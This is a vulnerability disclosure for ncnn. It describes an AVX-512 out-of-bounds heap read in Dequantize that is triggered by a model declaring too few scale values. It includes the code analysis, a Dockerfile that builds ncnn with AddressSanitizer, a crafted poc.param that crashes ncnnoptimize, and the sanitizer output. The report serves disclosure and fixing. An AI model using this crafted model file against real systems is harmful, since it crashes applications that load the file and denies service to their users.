AVX-512 Out-of-Bounds Read in Dequantization
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/dequantize_x86.cpp:57 in dequantize
Sanitizer verdict: unknown-crash
Summary
A model that declares fewer Dequantize scale values than the packed input requires makes the x86 AVX-512 path build a 16-element view of a much shorter scale buffer and then load 64 bytes from it, reading past the heap allocation. The read is unaddressable and terminates the process, denying service to whatever loads the model. The PoC drives this through ncnnoptimize, which executes the layer during ModelWriter::shape_inference() after loading the attacker's .param/.bin pair.
Detail
The untrusted field is scale_data_size, parameter id 0 of the Dequantize layer, together with the matching record in the binary model. Dequantize::load_param() takes the value as-is and load_model() allocates exactly that many floats; nothing ties scale_data_size to the input's channel/row count or to the packing factor chosen at runtime.
In the 2-D branch of the x86 forward, the per-row scale slice is formed with Mat::range(), which is an unchecked view constructor, and the AVX-512 helper loads a full 512-bit vector from it whenever scale_data_size > 1 and elempack == 16:
// src/layer/dequantize.cpp:16
scale_data_size = pd.get(0, 1);
// src/layer/dequantize.cpp:24
scale_data = mb.load(scale_data_size, 1);
// src/layer/x86/dequantize_x86.cpp:277
const Mat scale_data_i = scale_data_size > 1 ? scale_data.range(i * elempack, elempack) : scale_data;
const Mat bias_data_i = bias_data_size > 1 ? bias_data.range(i * elempack, elempack) : bias_data;
dequantize(intptr, ptr, scale_data_i, bias_data_i, w, elempack);
// src/layer/x86/dequantize_x86.cpp:52
if (scale_data_size > 1)
{
#if __AVX512F__
if (elempack == 16)
{
_scale_avx512 = _mm512_loadu_ps((const float*)scale_data);
}
The PoC declares a 1 x 32 input and Dequantize with 0=2, backed by a two-float binary record. On an AVX-512 build the 32 rows are packed 16-deep, so the layer iterates twice with elempack == 16 while scale_data holds only two floats — the 84-byte region ASan reports, of which just 8 bytes are payload.
range(i * elempack, elempack) produces a 16-float view without validating the offset or length, so on the second iteration (i = 1) the view starts 64 bytes into a buffer holding 8 bytes of data. _mm512_loadu_ps() at line 57 then reads 64 bytes from that address, and ASan reports the access as an unknown-crash on the first unaddressable byte, 0 bytes past the end of the region.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-avx-512-out-of-bounds-read-in-dequantization && cd ncnn-poc-avx-512-out-of-bounds-read-in-dequantization
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'POC_EOF'
7767517
2 2
Input input 0 1 data 0=1 1=32
Dequantize deq 1 1 data out 0=2
POC_EOF
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
shape_inference
=================================================================
==1==ERROR: AddressSanitizer: unknown-crash on address 0x50e000000080 at pc 0x5c0d2ce2071d bp 0x7ffc5671fdb0 sp 0x7ffc5671fda0
READ of size 64 at 0x50e000000080 thread T0
#0 0x5c0d2ce2071c in _mm512_loadu_ps(void const*) /usr/lib/gcc/x86_64-linux-gnu/13/include/avx512fintrin.h:6342
#1 0x5c0d2ce2071c in dequantize /ncnn/build/src/layer/x86/dequantize_x86_avx512.cpp:57
#2 0x5c0d2ce24706 in ncnn::Dequantize_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/dequantize_x86_avx512.cpp:280
#3 0x5c0d274b5f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
#4 0x5c0d274a7b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#5 0x5c0d275079e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#6 0x5c0d273993c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#7 0x5c0d27416eee in main /ncnn/tools/ncnnoptimize.cpp:2844
#8 0x759d52c671c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x759d52c6728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#10 0x5c0d27396624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
0x50e000000094 is located 0 bytes after 84-byte region [0x50e000000040,0x50e000000094)
allocated by thread T0 here:
#0 0x759d532e0f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x5c0d27465bc5 in fastMalloc /ncnn/src/allocator.h:62
#2 0x5c0d27465bc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
#3 0x5c0d2749ac1a in ncnn::ModelBinFromDataReader::load(int, int) const /ncnn/src/modelbin.cpp:309
#4 0x5c0d2cdfd1cc in ncnn::Dequantize::load_model(ncnn::ModelBin const&) /ncnn/src/layer/dequantize.cpp:24
#5 0x5c0d27502a84 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2080
#6 0x5c0d27416c34 in main /ncnn/tools/ncnnoptimize.cpp:2793
#7 0x759d52c671c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x759d52c6728a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x5c0d27396624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
SUMMARY: AddressSanitizer: unknown-crash /usr/lib/gcc/x86_64-linux-gnu/13/include/avx512fintrin.h:6342 in _mm512_loadu_ps(void const*)
Credit
Zheng Yu @ DepthFirst